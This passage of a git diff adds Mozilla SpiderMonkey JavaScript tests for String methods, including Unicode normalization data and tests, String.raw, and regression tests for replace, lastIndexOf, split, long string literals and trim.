+{ source: [0xD2B8, 0x0334, 0x11AE], NFC: [0xD2B8, 0x0334, 0x11AE], NFD: [0x1110, 0x1173, 0x0334, 0x11AE], NFKC: [0xD2B8, 0x0334, 0x11AE], NFKD: [0x1110, 0x1173, 0x0334, 0x11AE] },
+{ source: [0xD30C, 0x0334, 0x11B5], NFC: [0xD30C, 0x0334, 0x11B5], NFD: [0x1111, 0x1161, 0x0334, 0x11B5], NFKC: [0xD30C, 0x0334, 0x11B5], NFKD: [0x1111, 0x1161, 0x0334, 0x11B5] },
+{ source: [0xD360, 0x0334, 0x11BC], NFC: [0xD360, 0x0334, 0x11BC], NFD: [0x1111, 0x1164, 0x0334, 0x11BC], NFKC: [0xD360, 0x0334, 0x11BC], NFKD: [0x1111, 0x1164, 0x0334, 0x11BC] },
+{ source: [0xD424, 0x0334, 0x11AE], NFC: [0xD424, 0x0334, 0x11AE], NFD: [0x1111, 0x116B, 0x0334, 0x11AE], NFKC: [0xD424, 0x0334, 0x11AE], NFKD: [0x1111, 0x116B, 0x0334, 0x11AE] },
+{ source: [0xD478, 0x0334, 0x11B5], NFC: [0xD478, 0x0334, 0x11B5], NFD: [0x1111, 0x116E, 0x0334, 0x11B5], NFKC: [0xD478, 0x0334, 0x11B5], NFKD: [0x1111, 0x116E, 0x0334, 0x11B5] },
+{ source: [0xD4CC, 0x0334, 0x11BC], NFC: [0xD4CC, 0x0334, 0x11BC], NFD: [0x1111, 0x1171, 0x0334, 0x11BC], NFKC: [0xD4CC, 0x0334, 0x11BC], NFKD: [0x1111, 0x1171, 0x0334, 0x11BC] },
+{ source: [0xD590, 0x0334, 0x11AE], NFC: [0xD590, 0x0334, 0x11AE], NFD: [0x1112, 0x1163, 0x0334, 0x11AE], NFKC: [0xD590, 0x0334, 0x11AE], NFKD: [0x1112, 0x1163, 0x0334, 0x11AE] },
+{ source: [0xD5E4, 0x0334, 0x11B5], NFC: [0xD5E4, 0x0334, 0x11B5], NFD: [0x1112, 0x1166, 0x0334, 0x11B5], NFKC: [0xD5E4, 0x0334, 0x11B5], NFKD: [0x1112, 0x1166, 0x0334, 0x11B5] },
+{ source: [0xD638, 0x0334, 0x11BC], NFC: [0xD638, 0x0334, 0x11BC], NFD: [0x1112, 0x1169, 0x0334, 0x11BC], NFKC: [0xD638, 0x0334, 0x11BC], NFKD: [0x1112, 0x1169, 0x0334, 0x11BC] },
+{ source: [0xD6FC, 0x0334, 0x11AE], NFC: [0xD6FC, 0x0334, 0x11AE], NFD: [0x1112, 0x1170, 0x0334, 0x11AE], NFKC: [0xD6FC, 0x0334, 0x11AE], NFKD: [0x1112, 0x1170, 0x0334, 0x11AE] },
+{ source: [0xD750, 0x0334, 0x11B5], NFC: [0xD750, 0x0334, 0x11B5], NFD: [0x1112, 0x1173, 0x0334, 0x11B5], NFKC: [0xD750, 0x0334, 0x11B5], NFKD: [0x1112, 0x1173, 0x0334, 0x11B5] },
+{ source: [0x11131, 0x0334, 0x11127], NFC: [0x11131, 0x0334, 0x11127], NFD: [0x11131, 0x0334, 0x11127], NFKC: [0x11131, 0x0334, 0x11127], NFKD: [0x11131, 0x0334, 0x11127] },
+{ source: [0x11132, 0x0334, 0x11127], NFC: [0x11132, 0x0334, 0x11127], NFD: [0x11132, 0x0334, 0x11127], NFKC: [0x11132, 0x0334, 0x11127], NFKD: [0x11132, 0x0334, 0x11127] },
+{ source: [0x11347, 0x0334, 0x1133E], NFC: [0x11347, 0x0334, 0x1133E], NFD: [0x11347, 0x0334, 0x1133E], NFKC: [0x11347, 0x0334, 0x1133E], NFKD: [0x11347, 0x0334, 0x1133E] },
+{ source: [0x11347, 0x0334, 0x11357], NFC: [0x11347, 0x0334, 0x11357], NFD: [0x11347, 0x0334, 0x11357], NFKC: [0x11347, 0x0334, 0x11357], NFKD: [0x11347, 0x0334, 0x11357] },
+{ source: [0x114B9, 0x0334, 0x114B0], NFC: [0x114B9, 0x0334, 0x114B0], NFD: [0x114B9, 0x0334, 0x114B0], NFKC: [0x114B9, 0x0334, 0x114B0], NFKD: [0x114B9, 0x0334, 0x114B0] },
+{ source: [0x114B9, 0x0334, 0x114BA], NFC: [0x114B9, 0x0334, 0x114BA], NFD: [0x114B9, 0x0334, 0x114BA], NFKC: [0x114B9, 0x0334, 0x114BA], NFKD: [0x114B9, 0x0334, 0x114BA] },
+{ source: [0x114B9, 0x0334, 0x114BD], NFC: [0x114B9, 0x0334, 0x114BD], NFD: [0x114B9, 0x0334, 0x114BD], NFKC: [0x114B9, 0x0334, 0x114BD], NFKD: [0x114B9, 0x0334, 0x114BD] },
+{ source: [0x115B8, 0x0334, 0x115AF], NFC: [0x115B8, 0x0334, 0x115AF], NFD: [0x115B8, 0x0334, 0x115AF], NFKC: [0x115B8, 0x0334, 0x115AF], NFKD: [0x115B8, 0x0334, 0x115AF] },
+{ source: [0x115B9, 0x0334, 0x115AF], NFC: [0x115B9, 0x0334, 0x115AF], NFD: [0x115B9, 0x0334, 0x115AF], NFKC: [0x115B9, 0x0334, 0x115AF], NFKD: [0x115B9, 0x0334, 0x115AF] },
+{ source: [0x11935, 0x0334, 0x11930], NFC: [0x11935, 0x0334, 0x11930], NFD: [0x11935, 0x0334, 0x11930], NFKC: [0x11935, 0x0334, 0x11930], NFKD: [0x11935, 0x0334, 0x11930] }
+];
diff --git a/js/src/tests/non262/String/normalize-generateddata-part0.js b/js/src/tests/non262/String/normalize-generateddata-part0.js
new file mode 100644
index 0000000000..ffcb34731d
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part0.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part0';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test0 of tests_part0) {
+ runNormalizeTest(test0);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js b/js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js
new file mode 100644
index 0000000000..1c3cb5085e
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js
@@ -0,0 +1,38 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - not listed in part1';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ var part1 = new Set();
+ for (var test1 of tests_part1) {
+ part1.add(test1.source[0]);
+ }
+
+ /* not listed in Part 1 */
+ for (var x = 0; x <= 0x2FFFF; x++) {
+ if (part1.has(x)) {
+ continue;
+ }
+ var xstr = x.toString(16);
+ var c = String.fromCodePoint(x);
+ assertEq(c.normalize(), c, "NFC of " + xstr);
+ assertEq(c.normalize(undefined), c, "NFC of " + xstr);
+ assertEq(c.normalize("NFC"), c, "NFC of " + xstr);
+ assertEq(c.normalize("NFD"), c, "NFD of " + xstr);
+ assertEq(c.normalize("NFKC"), c, "NFKC of " + xstr);
+ assertEq(c.normalize("NFKD"), c, "NFKD of " + xstr);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part1.js b/js/src/tests/non262/String/normalize-generateddata-part1.js
new file mode 100644
index 0000000000..c4edeab9d8
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part1.js
@@ -0,0 +1,22 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part1';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test1 of tests_part1) {
+ runNormalizeTest(test1);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part2.js b/js/src/tests/non262/String/normalize-generateddata-part2.js
new file mode 100644
index 0000000000..1b7f3b465a
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part2.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part2';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test2 of tests_part2) {
+ runNormalizeTest(test2);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-part3.js b/js/src/tests/non262/String/normalize-generateddata-part3.js
new file mode 100644
index 0000000000..8a384c635e
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-part3.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - part3';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ loadRelativeToScript('normalize-generateddata-input.js');
+
+ for (var test3 of tests_part3) {
+ runNormalizeTest(test3);
+ }
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generic.js b/js/src/tests/non262/String/normalize-generic.js
new file mode 100644
index 0000000000..c1c3882cc2
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generic.js
@@ -0,0 +1,20 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - normalize no String object';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ var myobj = {
+ toString: () => "a\u0301",
+ normalize: String.prototype.normalize
+ };
+ assertEq(myobj.normalize(), "\u00E1");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-parameter.js b/js/src/tests/non262/String/normalize-parameter.js
new file mode 100644
index 0000000000..4831c27176
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-parameter.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - passing wrong parameter';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ assertThrowsInstanceOf(() => "abc".normalize("NFE"), RangeError,
+ "String.prototype.normalize should raise RangeError on invalid form");
+
+ assertEq("".normalize(), "");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-rope.js b/js/src/tests/non262/String/normalize-rope.js
new file mode 100644
index 0000000000..b5b8800fa4
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-rope.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 918987;
+var summary = 'String.prototype.normalize - normalize rope string';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ /* JSRope test */
+ var a = "";
+ var b = "";
+ for (var i = 0; i < 100; i++) {
+ a += "\u0100";
+ b += "\u0041\u0304";
+ }
+ assertEq(a.normalize("NFD"), b);
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/raw.js b/js/src/tests/non262/String/raw.js
new file mode 100644
index 0000000000..1472185af2
--- /dev/null
+++ b/js/src/tests/non262/String/raw.js
@@ -0,0 +1,55 @@
+var BUGNUMBER = 1039774;
+var summary = 'String.raw';
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(function() { String.raw(); }, TypeError);
+
+assertEq(String.raw.length, 1);
+
+var cooked = [];
+assertThrowsInstanceOf(function() { String.raw(cooked); }, TypeError);
+
+cooked.raw = {};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {lengt: 0};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {length: 0};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = {length: -1};
+assertEq(String.raw(cooked), "");
+
+cooked.raw = [];
+assertEq(String.raw(cooked), "");
+
+cooked.raw = ["a"];
+assertEq(String.raw(cooked), "a");
+
+cooked.raw = ["a", "b"];
+assertEq(String.raw(cooked, "x"), "axb");
+
+cooked.raw = ["a", "b"];
+assertEq(String.raw(cooked, "x", "y"), "axb");
+
+cooked.raw = ["a", "b", "c"];
+assertEq(String.raw(cooked, "x"), "axbc");
+
+cooked.raw = ["a", "b", "c"];
+assertEq(String.raw(cooked, "x", "y"), "axbyc");
+
+cooked.raw = ["\n", "\r\n", "\r"];
+assertEq(String.raw(cooked, "x", "y"), "\nx\r\ny\r");
+
+cooked.raw = ["\n", "\r\n", "\r"];
+assertEq(String.raw(cooked, "\r\r", "\n"), "\n\r\r\r\n\n\r");
+
+cooked.raw = {length: 2, '0':"a", '1':"b", '2':"c"};
+assertEq(String.raw(cooked, "x", "y"), "axb");
+
+cooked.raw = {length: 4, '0':"a", '1':"b", '2':"c"};
+assertEq(String.raw(cooked, "x", "y"), "axbycundefined");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/regress-104375.js b/js/src/tests/non262/String/regress-104375.js
new file mode 100644
index 0000000000..ddbb0265a7
--- /dev/null
+++ b/js/src/tests/non262/String/regress-104375.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 12 October 2001
+ *
+ * SUMMARY: Regression test for string.replace bug 104375
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=104375
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 104375;
+var summary = 'Testing string.replace() with backreferences';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Use the regexp to replace 'uid=31' with 'uid=15'
+ *
+ * In the second parameter of string.replace() method,
+ * "$1" refers to the first backreference: 'uid='
+ */
+var str = 'uid=31';
+var re = /(uid=)(\d+)/;
+
+// try the numeric literal 15
+status = inSection(1);
+actual = str.replace (re, "$1" + 15);
+expect = 'uid=15';
+addThis();
+
+// try the string literal '15'
+status = inSection(2);
+actual = str.replace (re, "$1" + '15');
+expect = 'uid=15';
+addThis();
+
+// try a letter before the '15'
+status = inSection(3);
+actual = str.replace (re, "$1" + 'A15');
+expect = 'uid=A15';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
diff --git a/js/src/tests/non262/String/regress-107771.js b/js/src/tests/non262/String/regress-107771.js
new file mode 100644
index 0000000000..aa14c19685
--- /dev/null
+++ b/js/src/tests/non262/String/regress-107771.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 31 October 2001
+ *
+ * SUMMARY: Regression test for bug 107771
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=107771
+ *
+ * The bug: Section 1 passed, but Sections 2-5 all failed with |actual| == 12
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 107771;
+var summary = "Regression test for bug 107771";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var str = '';
+var k = -9999;
+
+
+status = inSection(1);
+str = "AAA//BBB/CCC/";
+k = str.lastIndexOf('/');
+actual = k;
+expect = 12;
+
+status = inSection(2);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 8;
+addThis();
+
+status = inSection(3);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 4;
+addThis();
+
+status = inSection(4);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = 3;
+addThis();
+
+status = inSection(5);
+str = str.substring(0, k);
+k = str.lastIndexOf('/');
+actual = k;
+expect = -1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/String/regress-112626.js b/js/src/tests/non262/String/regress-112626.js
new file mode 100644
index 0000000000..74df1c956b
--- /dev/null
+++ b/js/src/tests/non262/String/regress-112626.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 112626;
+var summary = 'Do not crash String.split(regexp) when regexp contains parens';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var _cs='2001-01-01';
+var curTime = _cs.split(/([- :])/);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/String/regress-179068.js b/js/src/tests/non262/String/regress-179068.js
new file mode 100644
index 0000000000..89376fcee1
--- /dev/null
+++ b/js/src/tests/non262/String/regress-179068.js
@@ -0,0 +1,122 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 November 2002
+ * SUMMARY: Test that interpreter can handle string literals exceeding 64K
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=179068
+ *
+ * Test that the interpreter can handle string literals exceeding 64K limit.
+ * For that the script passes to eval() "str ='LONG_STRING_LITERAL';" where
+ * LONG_STRING_LITERAL is a string with 200K chars.
+ *
+ * Igor Bukanov explains the technique used below:
+ *
+ * > Philip Schwartau wrote:
+ * >...
+ * > Here is the heart of the testcase:
+ * >
+ * > // Generate 200K long string
+ * > var long_str = duplicate(LONG_STR_SEED, N);
+ * > var str = "";
+ * > eval("str='".concat(long_str, "';"));
+ * > var test_is_ok = (str.length == LONG_STR_SEED.length * N);
+ * >
+ * >
+ * > The testcase creates two identical strings, |long_str| and |str|. It
+ * > uses eval() simply to assign the value of |long_str| to |str|. Why is
+ * > it necessary to have the variable |str|, then? Why not just create
+ * > |long_str| and test it? Wouldn't this be enough:
+ * >
+ * > // Generate 200K long string
+ * > var long_str = duplicate(LONG_STR_SEED, N);
+ * > var test_is_ok = (long_str.length == LONG_STR_SEED.length * N);
+ * >
+ * > Or do we specifically need to test eval() to exercise the interpreter?
+ *
+ * The reason for eval is to test string literals like in 'a string literal
+ * with 100 000 characters...', Rhino deals fine with strings generated at
+ * run time where lengths > 64K. Without eval it would be necessary to have
+ * a test file excedding 64K which is not that polite for CVS and then a
+ * special treatment for the compiled mode in Rhino should be added.
+ *
+ *
+ * >
+ * > If so, is it important to use the concat() method in the assignment, as
+ * > you have done: |eval("str='".concat(long_str, "';"))|, or can we simply
+ * > do |eval("str = long_str;")| ?
+ *
+ * The concat is a replacement for eval("str='"+long_str+"';"), but as
+ * long_str is huge, this leads to constructing first a new string via
+ * "str='"+long_str and then another one via ("str='"+long_str) + "';"
+ * which takes time under JDK 1.1 on a something like StrongArm 200MHz.
+ * Calling concat makes less copies, that is why it is used in the
+ * duplicate function and this is faster then doing recursion like in the
+ * test case to test that 64K different string literals can be handled.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 179068;
+var summary = 'Test that interpreter can handle string literals exceeding 64K';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var LONG_STR_SEED = "0123456789";
+var N = 20 * 1024;
+var str = "";
+
+
+// Generate 200K long string and assign it to |str| via eval()
+var long_str = duplicate(LONG_STR_SEED, N);
+eval("str='".concat(long_str, "';"));
+
+status = inSection(1);
+actual = str.length == LONG_STR_SEED.length * N
+ expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function duplicate(str, count)
+{
+ var tmp = new Array(count);
+
+ while (count != 0)
+ tmp[--count] = str;
+
+ return String.prototype.concat.apply("", tmp);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/String/regress-189898.js b/js/src/tests/non262/String/regress-189898.js
new file mode 100644
index 0000000000..1b937b06a2
--- /dev/null
+++ b/js/src/tests/non262/String/regress-189898.js
@@ -0,0 +1,120 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 January 2003
+ * SUMMARY: Regression test for bug 189898
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=189898
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 189898;
+var summary = 'Regression test for bug 189898';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = 'XaXY'.replace('XY', '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(2);
+actual = '$a$^'.replace('$^', '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(3);
+actual = 'ababc'.replace('abc', '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(4);
+actual = 'ababc'.replace('abc', '^$')
+ expect = 'ab^$';
+addThis();
+
+
+
+/*
+ * Same as above, but providing a regexp in the first parameter
+ * to String.prototype.replace() instead of a string.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293
+ * for subtleties on this issue -
+ */
+status = inSection(5);
+actual = 'XaXY'.replace(/XY/, '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(6);
+actual = 'XaXY'.replace(/XY/g, '--')
+ expect = 'Xa--';
+addThis();
+
+status = inSection(7);
+actual = '$a$^'.replace(/\$\^/, '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(8);
+actual = '$a$^'.replace(/\$\^/g, '--')
+ expect = '$a--';
+addThis();
+
+status = inSection(9);
+actual = 'ababc'.replace(/abc/, '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(10);
+actual = 'ababc'.replace(/abc/g, '--')
+ expect = 'ab--';
+addThis();
+
+status = inSection(11);
+actual = 'ababc'.replace(/abc/, '^$')
+ expect = 'ab^$';
+addThis();
+
+status = inSection(12);
+actual = 'ababc'.replace(/abc/g, '^$')
+ expect = 'ab^$';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/String/regress-304376.js b/js/src/tests/non262/String/regress-304376.js
new file mode 100644
index 0000000000..d88c03c882
--- /dev/null
+++ b/js/src/tests/non262/String/regress-304376.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304376;
+var summary = 'String.prototype should be readonly and permanent';
+var actual = '';
+var expect = '';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'TypeError';
+
+var saveString = String;
+
+String = Array;
+
+try
+{
+ // see if we can crash...
+ "".join();
+ String = saveString;
+ actual = 'No Error';
+}
+catch(ex)
+{
+ String = saveString;
+ actual = ex.name;
+ printStatus(ex + '');
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/String/regress-305064.js b/js/src/tests/non262/String/regress-305064.js
new file mode 100644
index 0000000000..3644c37d19
--- /dev/null
+++ b/js/src/tests/non262/String/regress-305064.js
@@ -0,0 +1,154 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305064;
+var summary = 'Tests the trim, trimRight and trimLeft methods';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var trimMethods = ['trim', 'trimLeft', 'trimRight'];
+
+/** List from ES 3.1 Recommendation for String.trim (bug 305064) **/
+var whitespace = [
+ {s : '\u0009', t : 'HORIZONTAL TAB'},
+ {s : '\u000B', t : 'VERTICAL TAB'},
+ {s : '\u000C', t : 'FORMFEED'},
+ {s : '\u0020', t : 'SPACE'},
+ {s : '\u00A0', t : 'NO-BREAK SPACE'},
+ {s : '\u1680', t : 'OGHAM SPACE MARK'},
+ {s : '\u2000', t : 'EN QUAD'},
+ {s : '\u2001', t : 'EM QUAD'},
+ {s : '\u2002', t : 'EN SPACE'},
+ {s : '\u2003', t : 'EM SPACE'},
+ {s : '\u2004', t : 'THREE-PER-EM SPACE'},
+ {s : '\u2005', t : 'FOUR-PER-EM SPACE'},
+ {s : '\u2006', t : 'SIX-PER-EM SPACE'},
+ {s : '\u2007', t : 'FIGURE SPACE'},
+ {s : '\u2008', t : 'PUNCTUATION SPACE'},
+ {s : '\u2009', t : 'THIN SPACE'},
+ {s : '\u200A', t : 'HAIR SPACE'},
+ {s : '\u202F', t : 'NARROW NO-BREAK SPACE'},
+ {s : '\u205F', t : 'MEDIUM MATHEMATICAL SPACE'},
+ {s : '\u3000', t : 'IDEOGRAPHIC SPACE'},
+ {s : '\u000A', t : 'LINE FEED OR NEW LINE'},
+ {s : '\u000D', t : 'CARRIAGE RETURN'},
+ {s : '\u2028', t : 'LINE SEPARATOR'},
+ {s : '\u2029', t : 'PARAGRAPH SEPARATOR'},
+ ];
+
+for (var j = 0; j < trimMethods.length; ++j)
+{
+ var str;
+
+ var method = trimMethods[j];
+
+ if (typeof String.prototype[method] == 'undefined')
+ {
+ reportCompare(true, true, 'Test skipped. String.prototype.' + method + ' is not supported');
+ continue;
+ }
+
+ print('Test empty string.');
+ str = '';
+ expected = '';
+ actual = str[method]();
+ reportCompare(expected, actual, '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test string with no whitespace.');
+ str = 'a';
+ expected = 'a';
+ actual = str[method]();
+ reportCompare(expected, actual, '"' + toPrinted(str) + '".' + method + '()');
+
+ for (var i = 0; i < whitespace.length; ++i)
+ {
+ var v = whitespace[i].s;
+ var t = whitespace[i].t;
+ v = v + v + v;
+
+ print('=======================================');
+ print('Test ' + method + ' with with only whitespace. : ' + t);
+ str = v;
+ expected = '';
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with no leading or trailing whitespace. : ' + t);
+ str = 'a' + v + 'b';
+ expected = str;
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with leading whitespace. : ' + t);
+ str = v + 'a';
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = 'a';
+ break;
